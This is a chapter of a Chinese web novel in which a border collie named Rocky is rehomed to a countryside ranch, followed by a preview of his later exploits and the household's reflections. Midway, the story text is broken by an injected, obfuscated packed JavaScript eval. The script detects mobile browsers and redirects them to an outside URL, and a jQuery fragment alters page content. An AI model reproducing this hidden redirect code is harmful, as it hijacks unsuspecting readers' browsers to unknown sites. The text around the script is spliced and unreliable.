决定做出后的日子，像被拉长的糖丝，甜中带着黏稠的苦涩。韩慧和林朗更加珍惜与Rocky相处的每一刻，带它去更远的公园散步，尝试教它一些更复杂的指令（尽管知道它可能很快就不再需要），甚至借来朋友家养的几只温和的羊驼，在封闭场地里让Rocky体验了一下“牧”的感觉——Rocky当时眼中瞬间点亮的光芒，和随之而来那种全神贯注、收放自如的专注姿态，让韩慧既欣慰又心酸。
那位负责再安置的女士再次来访，带来了几个备选家庭和场所的资料。经过反复斟酌和视频沟通，一个位于城市近郊的小型生态牧场“磐石牧场”被选中。牧场主人是一对热爱动物、经验丰富的夫妇——张牧和他的妻子。他们需要一只聪明的边牧帮忙管理一小群羊和几只矮脚马，牧场空间开阔，环境自然，还有其他的工作犬伙伴。
离别之日定在一个晴朗的秋日早晨。头天晚上，韩慧给Rocky洗了澡，梳毛，做了它最爱吃的零食。Rocky异常温顺，全程配合，只是在韩慧给它系上一个崭新的、印有牧场标志的蓝色项圈时，轻轻舔了舔她的手。
清晨，张牧开着一辆沾满泥土的越野车停在楼下。他是个皮肤黝黑、笑容爽朗的中年男人，身上带着青草、泥土和阳光的气息。Rocky似乎明白这一刻的到来，它没有像往常出门那样兴奋，而是安静地坐在门口，看看韩慧，看看林朗，又望了望阳台方向（墨点一家隐藏的木箱），最后目光扫过屋内——Coffee空了的垫子，Besty的猫爬架，紧闭的卧室门（乌龙在里面），还有那个收在角落的橙色飞盘。
它站起身，走到韩慧面前，坐直，将前爪搭在她膝盖上，仰头看着她，喉咙里发出一种极其轻柔的、近乎呜咽的哼声，然后，它伸出舌头，郑重地、缓慢地，舔了舔韩慧脸上的泪水。
韩慧终于忍不住，紧紧抱住Rocky，泣不成声。林朗也红了眼眶，蹲下身，用力揉了揉Rocky的脑袋和脖子，低声说：“去吧，好小子，去你该去的地方，尽情地跑，尽情地聪明。记得……常‘回家’看看。”
Rocky最后用头蹭了蹭他们，转身，步伐稳健地走向门口，跟着张牧，没有回头。它跳上了越野车的后座，那里已经铺好了柔软的垫子。
车子发动，缓缓驶离。韩慧靠在林朗肩上，望着车子消失的方向，久久没有动弹。
阳台木箱里，一片寂静。幼崽们似乎也感受到了沉重的气氛，依偎在一起。雪绒的目光悠远。墨点则感到一种复杂的空落。那个曾经用智力“骚扰”他们、带来无数麻烦和思考的聪明对手（或者说，特别的邻居），就这样离开了。他忽然发现，自己竟然有些……怀念那些斗智斗勇的静默时刻。
科瓦不知何时落在空调外机上，罕见的安静，只是用喙整理了一下羽毛。
屋内，乌龙从卧室出来，小心翼翼地四处嗅闻，发现Rocky的气味真的在远去，它显得有些茫然，在屋里转了几圈，最终回到韩慧脚边，轻轻靠着她。
Besty从柜顶跳下，走到客厅中央，那里曾是Rocky放飞盘的地方。它低头嗅了嗅地面，然后抬头，金色的眼眸看了看门口，又看了看悲伤的人类，轻轻“喵”了一声，声音里听不出情绪，随即转身跳回了它的高处。
而在驶向牧场的路上，Rocky的故事，才刚刚翻开崭新的、波澜壮阔的一页。那又是一个新的故事了。感兴趣的请期待完结后的角色番外篇关于Rocky的故事。
初到牧场： Rocky被眼前辽阔的草原、无垠的天空和成群的羊震撼了。但它很快发现，自己那套在城市里无往不利的“观察-计算-执行”模式，在复杂多变的羊群和地形面前屡屡受挫。牧场的元老牧羊犬“老枪”——一只沉默寡言、经验丰富的黄白柯利犬，对它并不热情，只是冷眼旁观。Rocky感到了前所未有的挫败和孤独。
智慧的转型： Rocky没有放弃。它转而成为极致的观察者，尤其紧盯那只被称为“团长”的头羊。它学习老枪与羊群之间那种无声的、基于“势”的引导，而非强硬命令。在一次驱赶羊群通过狭窄河谷的任务中，Rocky首次成功运用智慧（占据高地、引导视线），让“团长”主动带领羊群走向安全路径，赢得了张牧的赞许和老枪的首次认可（一个挠下巴的动作）。Rocky开始明白，真正的智慧是连接与引导，而不仅仅是计算。
暴风雪的考验：冬季，一场突如其来的暴风雪袭击牧场。羊群惊散，能见度降至冰点。Rocky临危受命，凭借对“团长”习性和地形的记忆，在茫茫雪海中找到了躲藏在乱石堆后的“团长”和二十多只羊。然后，它依靠直觉、地形记忆和顽强意志，带领这群又冷又怕的生灵，跋涉数公里，找到了背风的废弃石屋，成功避险。它在绝境中展现的，是融合了知识、本能、勇气与责任的生存智慧。
冰湖救人：更大的考验接踵而至。暴风雪后，张牧的小儿子“小山”不慎掉入冰湖。Rocky发现后，没有盲目扑救，而是以惊人的冷静做出判断：它先冲向可能有人的临时窝棚，找到了一个被遗忘的对讲机，模仿警报声吠叫求救；随后又跑到高坡上，一边吠叫一边舞动找到的绳子，用视觉信号引导。它的智慧报警为救援争取了关键时间，最终张牧及时赶到，用套索将孩子救起。Rocky成了拯救小主人生命的英雄。
成为灵魂：经此一事，Rocky彻底融入了牧场，成为不可或缺的“自己人”。它获得了刻有名字的牧场铜牌，成了“磐石牧场”的正式成员。老枪开始倾囊相授，羊群对它无比顺从，小山视它为“毛茸茸哥哥”。Rocky的智慧深深扎根于这片土地，用于预测天气、管理羊群、甚至创造更高效的驱赶战术。它找到了让心智和体力彻底燃烧的“课题”，感受到了“被需要到非我不可”的深度。
传承与回归：后来，牧场来了一只胆小的边牧幼犬“云朵”。Rocky耐心地承担起教导的责任，将老枪和自己所学传递下去。它也在教导中更深地理解了自己与这片土地的联系。某年夏天，张牧带Rocky回城市“探亲”。当Rocky再次站在LL&HH''s Garden的门口时，它已不再是那只迷茫的聪明狗。它沉稳、自信，身上带着草原的风霜与星光。韩慧和林朗为它的成长热泪盈眶，乌龙亲近地蹭它，Besty也给予了无声的认可。它与阳台外的墨点遥遥相望，彼此眼中是跨越物种与环境的、对生存与成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218525|197467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长的敬意。短暂的团聚后，Rocky平静地返回了它的草原。它的故事，通过张牧的信件和照片，持续传回Garden，成为那里关于“爱与成全”、“天赋与归宿”的永恒传奇。
Rocky的离开，在Garden里划下了第二道深刻的离别之痕。与Coffee的永别不同，这是一次生者的远行，一次为了更好未来的主动分离。它带走的不仅是自己的身影，还有一部分属于这个家庭的、充满智力挑战与博弈的独特活力。但它留下的，是一个关于“每一种天赋，都终将在属于它的天地间，找到绽放方式” 的坚定信念，和一份跨越距离的、温暖而自豪的联结。
韩慧和林朗花了几天时间平复心情。他们整理Rocky留下的玩具和物品，只留下那个橙色飞盘作为纪念。家里的空间似乎一下子变大了，也变得更安静了——少了边牧那种时刻运转大脑带来的、无形的“磁场”。
但很快，张牧的信和照片开始陆续寄来。照片上，Rocky站在辽阔的草场上，眼神沉静锐利；或是在星空下守护羊圈；或是与小山嬉戏；或是与老枪并肩而立……每一张照片，都伴随着张牧朴实的讲述：Rocky如何学会牧羊，如何在暴风雪中带领羊群找到生路，又如何机智地报警救了小山……
韩慧将这些照片贴在冰箱上，林朗则画了一幅Rocky在牧场上奔跑的油画，挂在客厅。每次看到，韩慧眼里都会泛起泪光，但也漾开由衷的、骄傲的笑意。
“爱是尊重其天性。”雪绒在某个夜晚对墨点总结道，“他们做到了。这很不容易。这意味着要对抗自己的不舍，承认自己的环境并非对每一个生命都是最优解。这是Garden法则里，很高的一层。而Rocky，它在远方，也守护着属于它的那片Garden。”
墨点点点头。他望着星空，想起父亲暗夜，想起Coffee，想起Rocky。每一个生命的轨迹都如此不同，相遇，交错，或长久停留，或短暂同行，或终究远去。而Garden的意义，或许就在于提供这样一个场所，让这些轨迹能够以相对平和、尊重的方式交织，无论最终是聚是散。而有些生命，像Rocky，它的轨迹需要延伸到更远的天空，才能画出最绚烂的弧线。
脆弱的同盟在形成，内部的成员在流动。但某种核心的东西——那种基于善意、观察、尊重与放手的共同生活的意愿——似乎在每一次变动中，反而被锤炼得更加清晰、坚韧。
秋意渐深，阳台上的植物开始显出颓势。墨点知道，新的挑战和变化，可能就在不远的前方。他和他的家人们，必须继续在这动态的平衡中，学习、适应、守护。
而远方的牧场上，一只黑白分明的边牧，正迎着风，守护着它的羊群、它的家人、它的星空。它或许会在某个疲惫而满足的夜晚，想起曾经那个有阳台、有白犬、有神秘猫邻居、有总爱空投湿泥巴的乌鸦、有总是温柔又悲伤的女主人的家。但那记忆，将不再是束缚或遗憾，而是它广阔天地里，一颗遥远、温暖、赋予它出发勇气的星辰。
它的指针，曾在城市空转；如今，在草原的风中，稳稳指向归属与传承。它的梦，那片关于奔跑、思考与价值的牧星者之梦，已然成真。